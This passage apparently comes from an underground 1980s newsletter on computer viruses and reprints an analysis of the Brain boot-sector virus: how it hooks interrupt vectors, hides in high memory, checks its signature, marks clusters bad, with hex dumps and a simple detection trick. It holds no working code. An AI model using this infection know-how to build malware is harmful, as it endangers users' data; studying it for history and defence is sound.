less than half of it is actually executed. Two portions of the program
are neither called nor can many researchers determine under what circum-
stances they would be executed. Was the extra code inserted to confuse
any one who disassembled the program? Is there some what that either or
both uncalled parts are involved that has thus far been undiscovered?
7. The virus source code contains a counter. The counter is reset often and
it is difficult to determine it's purpose. Because the counter was not
mentioned in published reports about the Brain, "new" viruses appeared.
Some companies whose disks were attacked discovered the counter and de-
cided that they had a new virus. When similarities to the Brain were
found it was decided that the new viruses were hacker versions of the
original found at the University of Delaware. Whether there are hacker
versions or destruction was caused by the unstable character of the Brain
is a question. Certainly it is not difficult for an experienced program-
mer who has obtained a copy of the Brain to modify it's code.
Note 1: In the January 31, 1988, issue of The New York Times, the article
about computer viruses contained the following: "Buried within the
code of the virus discovered at the University of Delaware was an
apparent ransom demand: Computer users who discovered the virus were
told to send $2,000 to an address in Pakistan to obtain an immunity
program, according to Harold Highland....The Pakistani contact was
not identified." This statement was never made by me and Vin McLellan
and the author of The New York Times article admits that it was never
made. Somewhere in the copy preparation and/or editing, the copy was
altered. In our discussion, I noted that the names of the authors and
their addresses in Lahore, Pakistan, were found in the virus and that
there was even a copyright notice. Because of other writers use of the
database of newspaper articles about viruses, several picked this qu-
ote up and used it without any verification. It has appeared in seve-
ral major newspapers in the States as well as in newspapers and the
computer trade press abroad.
Note 2: This note is my own, and was not in the original article. I noticed
that the author of this article had said that other articles releas-
ed on the Brain virus had errors in them. I also noticed that his
article had an error in it, too. He said:
By that time the virus has already hidden itself in RAM memory. Using a
clean bootable disk to start the system will result in that disk becom-
ing infected. (See Note 2). The virus will then spread to any other fl-
oppy used on the system.
Now, this is not possible. If you do a "warm boot" the virus may be
able to survive and infect that clean bootable disk. BUT if you do
a "cold boot" and wait fifteen seconds before you turn the machine
back on, there is no possible way for the virus to infect that disk.
Once you shut the machine off, RAM is empty. NOTHING can possibly
survive in RAM after the machine has been shut off. Even if you did
do a warm boot, and the virus survived, just have that clean boot
disk write protected and the virus won't be able to infect it.
How The Virus Infects A Disk
-----------------------------
When a Brain infected disk is inserted into a system, the virus first copies
itself to the highest area in memory. It resets the memory size by altering
interrupt vector A2H so as to protect the RAM resident virus. It also resets
interrupt vector 13H to point to the virus code in high memory and resets
interrupt vector 6H (unused under existing versions of DOS) to point to the
original interrupt vector, 13H. After the normal boot process is continued
with the loading of both IBMIO.COM and IBMDOS.COM under PC-DOS or IO.SYS and
MSDOS.SYS under MS-DOS. The infected disk contains a message and part of the
virus code in the boot sector. The remainder of the code and a copy of the
original boot sector is contained in three clusters (six sectors) that the
virus has labeled "bad" in the FAT. Figure 1 shows a map of an infected disk
obtained by using Central Point Software's PC Tools Deluxe.
Figure 1:
-----------------------------------------------------------------------------
Entire Disk Mapped 80% free space
Track 1 1 2 2 3 3 3
Double Sided 0 5 0 5 0 5 0 5 9
Booooo.....+++++++++++++++++++++++++++++++
Side 0 Fooooo.....+++++++++++++++++++++++++++++++
Fooooo..X..+++++++++++++++++++++++++++++++
Doooooo.X..+++++++++++++++++++++++++++++++
-----------Doooooo.X..+++++++++++++++++++++++++++++++
Dooooo.....+++++++++++++++++++++++++++++++
Side 1 oooooo.....+++++++++++++++++++++++++++++++
oooooo.....+++++++++++++++++++++++++++++++
oooooo.....+++++++++++++++++++++++++++++++
Explanation Of Codes:
+ Available . Allocated
B Boot Record o Hidden
F File Alloc. Table r Read Only
D Directory X Bad Cluster
-----------------------------------------------------------------------------
With the virus in upper RAM it is not possible to read the infected boot
sector. If an attempt is made to read the boot sector, the Brain re-directs
the request to read the original boot sector that is stored in one of the
bad sectors. The only way tp read the Brain message contained in the boot
sector, is to boot a system with a non-infected disk, preferably with a write
protect tab. Replace the boot disk with a write protected version of PC Tools
and place an infected disk in drive B. Figure 2 shows the embedded message by
using PC Tools to read the infected disk's boot sector.
Figure 2:
-----------------------------------------------------------------------------
Displacement -----------------HEX Values-------------------- ASCII Value
0016 (0010) 20 20 20 20 20 20 57 65 6C 63 6F 6D 65 20 74 6F Welcome to
0032 (0020) 20 74 68 65 20 44 75 6E 67 65 6F 6E 20 20 20 20 the Dungeon
0048 (0030) 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0064 (0040) 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0080 (0050) 20 28 63 29 20 31 39 38 36 20 42 61 73 69 74 20 (C) 1986 Basit
0096 (0060) 26 20 41 6D 6A 61 64 20 28 70 76 74 29 20 4C 74 & Amjad (pvt) Lt
0112 (0070) 64 2E 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d
0128 (0080) 20 42 52 41 49 4E 20 43 4F 4D 50 55 54 45 52 20 BRAIN COMPUTER
0144 (0090) 53 45 52 56 49 43 45 53 2E 2E 37 33 30 20 4E 49 SERVICES 730 NI
0160 (00A0) 54 41 4D 20 42 4C 4F 43 4B 20 41 4C 4C 41 4D 41 ZAM BLOCK ALLAMA
0176 (00B0) 20 49 51 42 41 4C 20 54 4F 57 4E 20 20 20 20 20 IGBAL TOWN
0192 (00C0) 20 20 20 20 20 20 20 20 20 20 20 4C 41 48 4F 52 LAHOR
0208 (00D0) 45 2D 50 41 4B 49 53 54 41 4E 2E 2E 50 48 4F 4E E-PAKISTAN PHON
0224 (00E0) 45 20 3A 34 33 30 37 39 31 2C 34 34 33 32 34 38 E 430791.443248
0240 (00F0) 2C 32 38 30 35 33 30 2E 20 20 20 20 20 20 20 20 .280530
0256 (0100) 20 20 42 65 77 61 72 65 20 6F 66 20 74 68 69 73 Beware of this
0272 (0110) 20 56 49 52 55 53 2E 2E 2E 2E 2E 43 6F 6E 74 61 VIRUS.....Conta
0288 (0120) 63 74 20 75 73 20 66 6F 72 20 76 61 63 63 69 6E ct us for vaccin
0304 (0130) 61 74 69 6F 6E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E ation.......
-----------------------------------------------------------------------------
The virus, residing in high memory, interrupts and disk READ request. If that
request is not for the boot sector or non-floppy drive, the virus reads the
boot sector of the disk. It examines the 4th and 5th bytes for "1234" that are
stored as 34 12, the signature of the Brain. If that signature is not present
on the floppy disk, the virus infects the disk then proceeds with the READ
command. If the disk is already infected, the virus does not re-infect the
disk but instead continues with the READ. Also if the disk is write protected,
the infection will be terminated. Figure 3 is a comparison of the initial po-
rtion of a good and an infected boot sector.
Figure 3:
-----------------------------------------------------------------------------
GOOD Boot Sector:
Displacement -----------------HEX Values--------------------
0000 (0000) EB 34 90 49 42 4D 20 20 33 2E 32 00 02 02 01 00
0016 (0010) 02 70 00 D0 02 FD 02 00 09 00 02 00 00 00 00 00
0032 (0020) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
BAD Boot Sector:
Displacement -----------------HEX Values--------------------
0000 (0000) FA E9 4A 01 34 12 01 02 27 00 01 00 00 00 00 20
0016 (0010) 20 20 20 20 20 20 57 65 6C 63 6F 6D 65 20 74 6F
0032 (0020) 20 74 68 65 20 44 75 6E 67 65 6F 6E 20 20 20 20
-----------------------------------------------------------------------------
Normally the virus, in its attempt to infect a disk, will search for three
consecutive clusters it can mark as "bad". If there are no blank clusters, the
virus will not infect the disk. However, if there is only one blank cluster
and it is neither of the last two clusters on the disk, the virus will select
the one blank cluster and overwrite the next two clusters and mark all three
as bad. If the overwritten material is part of a file, that file no longer can
be executed if it is a program, or read if it is a data file. This is one way
in which a user might learn that a disk has been infected.
Poor Man's Filter
-----------------
In our laboratory testing we found a simple, inexpensive method to protect a
disk from becoming infected by the Brain virus by checking if the virus is in
high memory. It is possible to prepare a test disk by following these simple
steps.
1. Format a floppy disk with or without a system.
2. Use DEBUG.COM or PC Tools to edit the boot sector. The first line of the
boot sector appears as:
EB 34 90 49 42 4D 20 20 33 2E 32 00 02 02 01 00
-----
3. Since the Brain examines the fifth and sixth bytes for its signature,
change those bytes to the virus' signature, 1234. Below is an altered
first line of a boot sector:
EB 34 90 49 34 12 20 20 33 2E 32 00 02 02 01 00
-----
Place this altered test disk in drive B and after the system prompt, A>,
type: DIR B: to obtain a directory of the test disk. If the system is infected
by the Brain virus, the following message will appear on the screen:
Not ready, error reading Drive B Abort, Retry, Ignore?
The disk with the altered boot sector will work only on a non-infected system.
- ****************************************************************************
The Alvi brothers, Basit and Amjad, sell compatible PCs in their store in
Lebore, Pakistan. When contacted by a reporter for "The Chronicle of Higher
Education," the 19-year old Basit Alvi admitted writing the virus and placing
it on a disk in 1986 "for fun." He reportedly gave a copy of the virus prog-
ram to a friend, another student. However, both brothers were at a loss in
explaining how the virus emigrated to the States.
- ****************************************************************************
Final Notes:
------------
Thanks to Midnight Cowboy for writing those articles and showing interest in
the newsletter. Sorry I did not include them but I came to the conclusion
that there is not much use for batch file virii when there are languages such
as C and Assembly. I do appreciate the effort, though.
Someone was SUPPOSED to write me a article for the Sample Source Code Dept.
on Pascal virii, but they never did it for me, just wanted to say thanks to
that person.
I got some bad feedback on my last issue of Viriisearch, and needless to say
I didn't like it too much. This person didn't like the fact that I had gone
over the C source code to ATTRB as much as I did. Well, I decided to go over
the source code really well because ATTRB is a well written program, as well
as a simple program, so I figured it would make you non C programmers inter-
ested in C and for you beginner C programmers, it would make you into a better
C programmer. What I covered on ATTRB last issue took me quite a while to
learn on my own and the knowledge is there for the taking. If you didn't like
it because you didn't understand it, I suggest you start learning C or Assem-
bly because that is, most likely, the only programming languages you will find
in this newsletter. And what does an attributes program have to do with virii?
Well, a lot of virii do have to change attributes on files and there was a
very well written, tight program to do it, in the last issue.
Speaking of feedback, the more the better. Starting in the next issue, #4, I
will be featuring reader's feedback, which I will reply to. Provided I get
enough feedback.
I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
entirely to computer virii.
Until Next Time......Be Careful!!!
* Criminal Minded <tm> *
-----------------------------------------------------------------------------